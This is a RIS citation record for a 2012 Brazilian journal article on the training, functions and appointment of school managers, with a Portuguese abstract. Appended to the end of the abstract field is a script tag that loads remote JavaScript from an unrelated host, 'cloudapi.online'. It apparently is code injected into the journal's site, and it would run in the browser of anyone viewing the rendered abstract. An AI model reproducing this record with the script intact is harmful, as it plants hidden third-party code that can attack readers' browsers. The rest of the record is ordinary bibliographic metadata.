TY - JOUR AU - Abdian, Graziela Zambão AU - Fernanda Hojas, Viviani AU - Oliveira, Maria Eliza Nogueira PY - 2012/05/21 Y2 - 2024/03/28 TI - Formação, função e formas de provimento do cargo do gestor escolar: as diretrizes da política educacional e o desenvolvimento teórico da administração escolar JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 14 IS - 1 SE - Relato de Experiência DO - 10.20396/etd.v14i1.1260 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1260 SP - 399-419 AB - <p>O objetivo deste trabalho é, mediante o tensionamento entre as diretrizes da política educacional e o movimento teórico da área, analisar questões históricas e atuais referentes à formação, à função e às formas de provimento do cargo do gestor escolar, entre os anos 1970 e 2000.  Para isso, utilizamos entrevistas semiestruturadas realizadas em escolas públicas municipais e estaduais, assim como em uma universidade pública do interior do estado de São Paulo, com integrantes do curso de Pedagogia. Da análise realizada, finalizamos com alguns apontamentos; entre eles, a possibilidade de reacender a discussão, iniciada nos idos dos anos 1960, sobre a necessidade de formação inicial sólida do gestor escolar, para que ele possa exercer a competência pedagógica adquirida e o compromisso político conquistado ao longo desses anos; e interagir de forma crítica e consciente com as diretrizes da política educacional.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -